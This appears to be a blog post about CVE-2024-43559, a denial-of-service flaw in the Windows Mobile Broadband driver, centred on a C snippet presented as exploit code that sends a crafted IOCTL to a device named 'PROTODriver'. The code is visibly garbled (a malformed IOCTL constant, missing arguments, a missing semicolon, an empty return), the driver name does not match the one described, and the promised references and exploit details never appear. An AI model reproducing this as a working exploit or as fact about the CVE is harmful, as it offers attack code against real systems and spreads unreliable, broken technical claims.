CVE-2024-43559: Uncovering the Windows Mobile Broadband Driver Denial of Service Vulnerability

Intro: Get Ready for a Deep Dive into an Emerging Threat

As technology continues to advance, the cyberthreat landscape only gets more complicated. One of the dangers to watch out for today is the Windows Mobile Broadband Driver Denial of Service Vulnerability, also known as CVE-2024-43559. In this blog post, we're going to tackle the details of this threat head-on.

We're going to cover how this vulnerability works, the code snippets that wield this flaw, and links to original references and exploit details. Grab a cup of coffee and dig into the fascinating world of CVE-2024-43559!

Background: Windows Mobile Broadband Driver

The Mobile Broadband (MB) Driver from Windows is utilized by various devices to enable high-speed data connection to its users. Unfortunately, due to a specific flaw in the MB driver (or CVE-2024-43559), hackers can exploit the system by triggering a denial of service attack. In other words, this vulnerability could potentially halt or disrupt normal operations of a network, resulting in enormous headaches for users and their connected devices.

The Vulnerability: Cracking the Code

Let's examine some sample code that demonstrates how hackers might exploit CVE-2024-43559.

#include <windows.h>
#include <winioctl.h>

#define IOCTL_PROTO_TRIGGER_DOS x002220B

int main(int argc, char* argv[]) {
    HANDLE hDevice;

    hDevice = CreateFileA("\\\\.\\PROTODriver", GENERIC_READ | GENERIC_WRITE, , NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)
    
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Error opening device: %d\n", GetLastError());
        return 1;
    }

    DWORD bytesReturned;
    BOOL result = DeviceIoControl(hDevice, IOCTL_PROTO_TRIGGER_DOS, NULL, , NULL, , &bytesReturned, NULL);
    
    if (!result) {
        printf("Error triggering DoS: %d\n", GetLastError());
    }

    CloseHandle(hDevice);
    return ;
}

This snippet of code attempts to open the affected prototype driver and trigger a denial of service attack by feeding it a specially crafted IOCTL command. If successful, normal device operations would be crippled.
